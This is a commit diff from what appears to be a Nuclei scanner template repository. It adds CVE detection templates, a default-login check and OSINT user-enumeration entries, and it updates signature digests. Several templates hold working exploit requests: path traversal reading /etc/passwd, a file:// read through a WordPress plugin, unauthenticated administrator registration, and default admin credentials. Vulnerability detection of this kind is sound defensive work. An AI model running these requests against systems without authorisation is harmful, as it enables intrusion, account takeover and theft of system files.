Create CVE-2025-25163.yaml

Create file-disable-directory-listing.yaml

.new-additions

@@ -1,8 +1,43 @@
 http/cves/2022/CVE-2022-25237.yaml
+http/cves/2024/CVE-2024-2053.yaml
 http/cves/2025/CVE-2025-1595.yaml
+http/cves/2025/CVE-2025-4334.yaml
+http/cves/2025/CVE-2025-44177.yaml
 http/cves/2025/CVE-2025-6197.yaml
+http/default-logins/apache/apache-inlong-default-login.yaml
 http/default-logins/openmetadata/openmetadata-default-login.yaml
 http/exposed-panels/scalar-detection.yaml
 http/miscellaneous/dnt-policy-detect.yaml
+http/misconfiguration/tomcat-directory-listing.yaml
+http/osint/user-enumeration/9gag.yaml
+http/osint/user-enumeration/apple-developer.yaml
+http/osint/user-enumeration/apple-discussions.yaml
+http/osint/user-enumeration/atcoder.yaml
+http/osint/user-enumeration/bluesky.yaml
+http/osint/user-enumeration/cgtrader.yaml
+http/osint/user-enumeration/codechef.yaml
+http/osint/user-enumeration/geeksforgeeks.yaml
+http/osint/user-enumeration/genius-users.yaml
+http/osint/user-enumeration/giant-bomb.yaml
+http/osint/user-enumeration/hudsonrock.yaml
+http/osint/user-enumeration/kaskus.yaml
+http/osint/user-enumeration/lastfm.yaml
+http/osint/user-enumeration/letterboxd.yaml
+http/osint/user-enumeration/mixcloud.yaml
+http/osint/user-enumeration/monkeytype.yaml
+http/osint/user-enumeration/mydramalist.yaml
+http/osint/user-enumeration/nationstates-nation.yaml
+http/osint/user-enumeration/replit.yaml
+http/osint/user-enumeration/reverbnation.yaml
+http/osint/user-enumeration/runescape.yaml
+http/osint/user-enumeration/scribd.yaml
+http/osint/user-enumeration/sketchfab.yaml
+http/osint/user-enumeration/slack.yaml
+http/osint/user-enumeration/strava.yaml
+http/osint/user-enumeration/topcoder.yaml
+http/osint/user-enumeration/weblate.yaml
+http/osint/user-enumeration/younow.yaml
+http/technologies/apache/apache-inlong-detect.yaml
+http/technologies/nocobase-detect.yaml
 http/technologies/openmetadata-detect.yaml
 http/vulnerabilities/other/easycvr-user-info-disclosure.yaml

cves.json

@@ -2657,6 +2657,7 @@
 {"ID":"CVE-2024-20419","Info":{"Name":"Cisco SSM On-Prem \u003c= 8-202206 - Password Reset Account Takeover","Severity":"critical","Description":"A vulnerability in the authentication system of Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to change the password of any user, including administrative users. This vulnerability is due to improper implementation of the password-change process.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-20419.yaml"}
 {"ID":"CVE-2024-20439","Info":{"Name":"Hardcoded Admin Credentials For Cisco Smart Licensing Utility API","Severity":"critical","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to log in to an affected system by using a static administrative credential.This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to log in to the affected system. A successful exploit could allow the attacker to log in to the affected system with administrative privileges over the API of the Cisco Smart Licensing Utility application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-20439.yaml"}
 {"ID":"CVE-2024-20440","Info":{"Name":"Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials","Severity":"high","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-20440.yaml"}
+{"ID":"CVE-2024-2053","Info":{"Name":"Artica Proxy  - Unauthenticated LFI","Severity":"high","Description":"The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the \"www-data\" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the \"www-data\" user.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2053.yaml"}
 {"ID":"CVE-2024-20767","Info":{"Name":"Adobe ColdFusion - Arbitrary File Read","Severity":"high","Description":"ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to sensitive files and perform arbitrary file system write. Exploitation of this issue does not require user interaction.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2024/CVE-2024-20767.yaml"}
 {"ID":"CVE-2024-21136","Info":{"Name":"Oracle Retail Xstore Suite - Pre-authenticated Path Traversal","Severity":"high","Description":"Vulnerability in the Oracle Retail Xstore Office product of Oracle Retail Applications (component: Security). Supported versions that are affected are 19.0.5, 20.0.3, 20.0.4, 22.0.0 and 23.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Retail Xstore Office. While the vulnerability is in Oracle Retail Xstore Office, attacks may significantly impact additional products (scope change).\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-21136.yaml"}
 {"ID":"CVE-2024-21485","Info":{"Name":"Dash Framework - Cross-site Scripting","Severity":"medium","Description":"Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2024/CVE-2024-21485.yaml"}
@@ -3124,10 +3125,12 @@
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
+{"ID":"CVE-2025-4334","Info":{"Name":"Simple User Registration \u003c= 6.3 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4334.yaml"}
 {"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
+{"ID":"CVE-2025-44177","Info":{"Name":"White Star Software ProTop - Directory Traversal","Severity":"high","Description":"A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-44177.yaml"}
 {"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
 {"ID":"CVE-2025-45854","Info":{"Name":"JEHC-BPM - Remote Code Execute","Severity":"critical","Description":"A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM \u003c= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-45854.yaml"}
 {"ID":"CVE-2025-45985","Info":{"Name":"Blink Router - Command Injection","Severity":"critical","Description":"Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-45985.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-d044364d1caa25727992b1e8cc7006c1
+abd60b43489ba004ee56be749a53695f

dns/bimi-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=BIMI1(.+)"
-# digest: 4b0a00483046022100adf23d53dbac360c2edc39d913739dd39bccddef2c56730ba784386cc49c92f3022100d93052d58d86017721b0244dd0bcaf59840c7fb5771adc6b6bc6fe059dea4530:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ba081ede1a4d969e6b056f0c7f36fe27773afdc23efe98ed66515ce3a16bd79f022100ad62a24c58655ddc01e82d1bc6c0f09722db7d30327aeb1e606964512f10c74b:922c64590222798bb761d5b6d8e72950

dns/fbi-seized-nameserver.yaml

@@ -35,4 +35,4 @@ dns:
         group: 1
         regex:
           - "IN\\tNS\\t(.+)"
-# digest: 4a0a00473045022038f6b14194335d89072e453a7b2c945f626fd0116facf0fd335349c35b84020e022100f599a840beff02e748d3ad16228970b549bc74be9723eefeb0f102d08f1cd1fa:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ea7d0773b0b4dfd616056060e81fc0a0a493bc3977330c214840ed7dd02663b00220693afeea23501d71decb3ffde7b43bef468d6437c36025e9daa05ac82d0d0079:922c64590222798bb761d5b6d8e72950

dns/soa-detect.yaml

@@ -81,4 +81,4 @@ dns:
         name: "edge-cast"
         words:
           - "edgecastdns.net"
-# digest: 4a0a0047304502204446340c5441e2589d26e68ed22eda71272842283405692ef1859a4338a0a17a022100d22e147422b0a43d0684ef548a1224b99ae7bf91d96d387adc3dc93599930f76:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008959aa8fe8d79e5ba8e803546c6488b1f835970bae558befef455b2d3038ce500220453976cf16688188a2ffa1daaa954a2d896e282c556ba8cb8d1e550e3d53100d:922c64590222798bb761d5b6d8e72950

dns/spf-record-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=spf1(.+)"
-# digest: 4a0a00473045022100857a66a77421eb35acfde13f044d704005b2f9cf83c517e47e4d6cd1345bb5de02200134272d915c55327d068a7b41d16c4ae64a7a174164fc0364cacd95b7590820:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210098464853d2818bcf0bdf739b5d525bc8fe382c42ea3b2769d840e115c4fcba47022044ff19169b45fb9b4f63444667530a1341d36f9c14c854a75e951b1c500052b7:922c64590222798bb761d5b6d8e72950

dns/txt-service-detect.yaml

@@ -218,4 +218,4 @@ dns:
         name: "whimsical"
         words:
           - "whimsical"
-# digest: 490a0046304402207d90dda25d0ffed269507204ae59e3a33a4cf57cd3305b49c73eaa4411dd038b022077059c666ae6c7178f7a403db261d5cbfb13028773b2cce4efc992ab94206ff9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210094b97e20809ee8ce6013a29d02f6b433ae62de3f15c22bccde5373a2d08f3317022054e622e38fe4fde400a7eaf7497aa20ddd0aa757eb818de9e0822ba8a70cea93:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 4a0a00473045022100c737f80f7a3a17147d325f24f8a5f6c7714e00f347771ea7fb433fe5621aa4b7022058750de7b1d9cf9d4598969f29930b072c602779cfa309afa1fbde3034b57ede:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220247d94378875bb8df13d9c82906443b00f1642b643efe53415b69146f7645d45022059da72285e30a89f1385c983ec7700f5c0d215d73845bf23ce807ef43eb11f3c:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 490a004630440220015ddf3e975b90fd88bb08061380073e1fd4c2a46e2b846f5a7163015bafcb6702201c2323748040c5000f7d5c43409706e98b65ca18f42bb93d539ea7b1d26d29db:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200584bcca16fe9ab655f4002395ed31c1c4f12bd0bcd53e9d7fbb98b6bd06275e02210090cc1da2340587ab313a558b903fb7a4a267deb12c07e9aa232eb56b61eab0c6:922c64590222798bb761d5b6d8e72950

headless/cookie-consent-detection.yaml

@@ -31,4 +31,4 @@ headless:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100ebcf146eb5609d77a2edc2bef14a4c9ce0d959d5fc27258b3891473a127135280220026d4f88bc090705d9b7c59522e0fe36c9d8cc8b2cc4199e51316abe1c477da2:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022019bb26986e78ff12f64c972fdc1744b0e4a44addb18a1904951d4f2d1b1cadb6022019e2d17e15fa928c4e2a739af3457e1406c474f24fa29b41aca4c8758a4d7cf1:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-2053.yaml

@@ -0,0 +1,51 @@
+id: CVE-2024-2053
+
+info:
+  name: Artica Proxy  - Unauthenticated LFI
+  author: pussycat0x
+  severity: high
+  description: |
+    The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the "www-data" user.
+  reference:
+    - https://github.com/0xMarcio/cve/blob/main/2024/CVE-2024-2053.md#cve-2024-2053
+    - https://seclists.org/fulldisclosure/2024/Mar/11
+    - https://korelogic.com/Resources/Advisories/KL-001-2024-001.txt
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2024-2053
+    cwe-id: CWE-23
+    epss-score: 0.00434
+    epss-percentile: 0.61897
+    cpe: cpe:2.3:a:articatech:artica_proxy:4.40:*:*:*:*:*:*:*
+  metadata:
+    vendor: articatech
+    product: artica_proxy
+    shodan-query: http.html:"artica"
+    fofa-query: body="artica"
+    verified: true
+    max-request: 1
+  tags: cve,cve2024,lfi,artica-proxy,articatech
+
+http:
+  - raw:
+      - |
+        GET /images.listener.php?uri=1&mailattach=..././..././..././..././..././epasswdtc/ppasswdasswd HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+      - type: word
+        part: body
+        words:
+          - "application/force-download"
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100d351bbabac086f868fb741bdc9c3af89b207275d3da6890f6c50ee1d9ee9f558022100ec130a0bb408129f780dcb68178a50c96512e734b619903c5bfb819a26e8a5f8:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-36527.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a004830460221008ab7a49adf4143a26e5f09726cafa7b5239f770c8788684f50636beb160d5fd50221009537ebff952f944d9f0f7326ce8b3e8dfd3eb9367bcc9fe26535af03386b3d34:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fdca552631c1eb14ad03c384ec246b7d7837b928c183bd3be2b63019da8966a3022040d78f437f251f1ed4336ddf2669af12103876d0f303a660c955148e93a7e183:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-25163.yaml

@@ -0,0 +1,35 @@
+id: CVE-2025-25163
+
+info:
+  name: Plugin A/B Image Optimizer Arbitrary File Download
+  author: 0xr2r
+  severity: high
+  description: |
+    The Plugin A/B Image Optimizer plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
+  tags: wordpress, plugin, file-download, directory-traversal
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-25163
+    - https://www.cvedetails.com/cve/CVE-2025-25163/
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:135.0) Gecko/20100101 Firefox/135.0
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: wordpress_logged_in=superadmin%7C1740046038%7C1N8xr9D0vHFOPOWEa8SZgQgnMrADwNBlBuy2clxo5pS%7C1e77f848b7d3c4d32746de6c747e981273be0adb56efe08902946257e29284fe
+        Content-Length: 56
+
+        action=ab_save_image_locally&imageUrl=file:///etc/passwd
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "wp-content/uploads"
+      - type: regex
+        regex:
+          - "\\\\/wp-content\\\\/uploads\\\\/.*\\\\.gif"

http/cves/2025/CVE-2025-31125.yaml

@@ -59,4 +59,4 @@ http:
         part: header
         words:
           - "text/javascript"
-# digest: 4a0a00473045022079f580e4cd4ccc7b7186757c80eccb4b49b69675b3fc1f9aa350284734b22db1022100bf388b2afe01beb4005916f0cb15c7911176763ad3967f4166a12f6e7c585dee:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022009162c5c11299ebcebe96f8552d4003d46454014709f07eee512e1fc031285770220710072ce7e7daf3881c15d9b7b5be03a2337b6f110262a602c6b51c241594abf:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-4334.yaml

@@ -0,0 +1,73 @@
+id: CVE-2025-4334
+
+info:
+  name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
+  author: pussycat0x
+  severity: critical
+  description: |
+    The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-4334
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-4334
+    cwe-id: CWE-269
+  impact: |
+    An attacker can exploit this vulnerability to register with administrator privileges, gaining full control over the WordPress site.
+  remediation: |
+    Update the Simple User Registration plugin to a version newer than 6.3 when available, or remove the plugin if not essential.
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: lifeisincredible
+    product: simple-user-registration
+    shodan-query: http.component:"wordpress" && http.html:"/wp-content/plugins/simple-user-registration/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,simple-user-registration
+
+
+variables:
+  username: "{{randstr}}"
+  email: "{{randstr}}@{{rand_base(5)}}.com"
+  password: "{{to_lower(rand_text_alpha(8))}}"
+
+http:
+  - raw:
+      - |
+        GET /register/ HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        X-Requested-With: XMLHttpRequest
+        Content-Length: 417
+
+        action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body_1, "WPR Register")
+          - contains(body_2, "user_id")
+          - contains(body_2, "Registration Done")
+        condition: and
+
+    extractors:
+      - type: regex
+        internal: true
+        group: 1
+        name: wpr_nonce
+        part: body
+        regex:
+          - 'name="wpr_nonce" value="([a-f0-9]+)"'
+
+      - type: regex
+        internal: true
+        group: 1
+        name: wpr_form_id
+        part: body
+        regex:
+          - 'name="wpr_form_id" value="([0-9]+)"'
+# digest: 4b0a0048304602210089b16e130b76927fa434096a72aa1ab9cf2ddcaeb4462187411ccdcf5bd8c553022100c5a062e4e7dcada35a6877a78461fd761eff5724a772dc1de8e9aa66c6b7d4fe:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-44177.yaml

@@ -0,0 +1,53 @@
+id: CVE-2025-44177
+
+info:
+  name: White Star Software ProTop - Directory Traversal
+  author: s-cu-bot
+  severity: high
+  description: |
+    A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.
+  remediation: |
+    Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-44177
+    - https://client.protop.co.za/
+    - https://wss.com/
+    - https://gist.github.com/stSLAYER/4a2ecfbab1215a0be0dde59c4ac0122d
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
+    cvss-score: 8.2
+    cve-id: CVE-2025-44177
+    cwe-id: CWE-22
+    cpe: cpe:2.3:a:wss:protop:4.4.2-2024-11-27:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: white-star-software
+    product: protop
+    shodan-query: html:"<title>ProTop"
+  tags: cve,cve2025,lfi,traversal,protop,whitestar
+
+http:
+  - raw:
+      - |
+        GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - 'root:.*:0:0:'
+
+      - type: word
+        part: header
+        words:
+          - 'application/octet-stream'
+          - 'filename="passwd"'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100891757873c747ca4d979063fba70bcc83f96cd5db7380e8ad70558b62fe07cc60221008ef6a64cc26d05c02e3951da2a3b02f01a630f4361dcfdc3ddfb24b324dbeb99:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-53770.yaml

@@ -133,4 +133,4 @@ http:
           - 'contains(x_nuclei,"CVE-2025-53770")'
           - 'contains(body, "MSOTlPn_DWP")'
         condition: and
-# digest: 4b0a00483046022100d88468b48729958c0b8df1e61336f1ee63ba2da6f9e764b79d8859693eb02be9022100996c7eae01d84d8d8b6b19860e1ae58e3cb56c581855b698cbad8342ecc126cb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100edcbb4e1d811461166c8319ea39320b03d1b5f7ab4830004ec6998cd5a7739c60220118033405cb5ff6da64e4a1905a04d99a6fe82096f5bb3274a1b2892b967dbc9:922c64590222798bb761d5b6d8e72950

http/default-logins/apache/apache-inlong-default-login.yaml

@@ -0,0 +1,51 @@
+id: apache-inlong-default-login
+
+info:
+  name: Apache InLong - Default Login
+  author: icarot
+  severity: high
+  description: |
+    Apache InLong server enables default admin credentials. An attacker can execute unauthorized operations.
+  reference:
+    - https://github.com/apache/inlong/
+  classification:
+    cpe: cpe:2.3:a:apache:inlong:1.13.0:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: apache
+    product: inlong
+    fofa-query: icon_hash="1155196680"
+  tags: apache,inlong,default-login,misconfig
+
+variables:
+  username: admin
+  password: inlong
+
+http:
+  - raw:
+      - |
+        POST /inlong/manager/api/anno/login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"username":"{{username}}","password":"{{password}}"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"success":true'
+          - '"errMsg":null'
+          - '"data":true'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'application/json'
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a004730450221009cbaa68901bcc32dbe8028c98af6b67fea9babac9ba6ecb300df1ac888ff5b2b022033e6d55443f4463881d0c71fdd012c5438d5e440add84073850e85c87ce91f9b:922c64590222798bb761d5b6d8e72950

http/exposed-panels/ackee-panel.yaml

@@ -28,4 +28,4 @@ http:
           - 'status_code==200 && contains(tolower(body), "<title>ackee")'
           - "status_code==200 && (\"-1495233116\" == mmh3(base64_py(body)))"
         condition: or
-# digest: 4b0a00483046022100d28c1d3d10d25b49a2da977ef39241cd4e66a40c52d249c87d31832c119d2d410221008a1015c6e386822b00e669a068b9e649296d11337179530e40ec8af6005d4d11:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022077265f11c03d4120fc8eeb156fe86bdc138e107ecd7d8d87c6c0f5ff80e044b4022100a3835cd36efbe4d67b205e00d80da0b36e2d88d038ca5431b39478e98ef8d8ca:922c64590222798bb761d5b6d8e72950

http/exposed-panels/adfinity-panel.yaml

@@ -32,4 +32,4 @@ http:
         group: 1
         regex:
           - '(?i)Version\s+Adfinity([0-9.]+)'
-# digest: 4a0a00473045022100c582774136e4da8a23f1b247a74f04c7c5349801f953f8605dbe5d009adffe3b0220399e85b1b8a5ba014fdf39c9f3bf8910564e9bc56f45a98d67757252404d87d3:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f3c96d915220894272963ccb1771a177312a4d2498cc978d9031f24bcddc4bb7022100f49e04afe85196572a8ed110a695dac3a3df16d86b45ef072077e988b3433db1:922c64590222798bb761d5b6d8e72950

http/exposed-panels/akuiteo-panel.yaml

@@ -37,4 +37,4 @@ http:
         group: 1
         regex:
           - '(?i)x-akuiteo-masterhash:\s+([0-9a-f]+)'
-# digest: 4a0a00473045022100f5e57a77ae3c3077f47d970676136b0d902f781e709ac6b4bc906699d570e8a3022025b7982e76669fc999e99103fa883e52d6315e67dec752dfd81ed45296cf3aad:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e57c1728103ac277f60462cb0965ac8a3a121f2aa213e1588982757380cb5092022047e24e4316bee979f6e97e10ffad3fb64f005c4a688f7fd73c9685fce769c2e3:922c64590222798bb761d5b6d8e72950

http/exposed-panels/amprion-gridloss-panel.yaml

@@ -31,4 +31,4 @@ http:
         group: 1
         regex:
           - '"envTitle":"([A-Z0-9a-z]+)"'
-# digest: 4a0a00473045022100a05c20d2f0b78f4a324439e8bab435cfba51400d394dd44c01840f01aa123e61022024a33ca8bd7a6822ba6d1a435a93c0dbd6255f0f89262125d1f71add1b45b609:922c64590222798bb761d5b6d8e72950
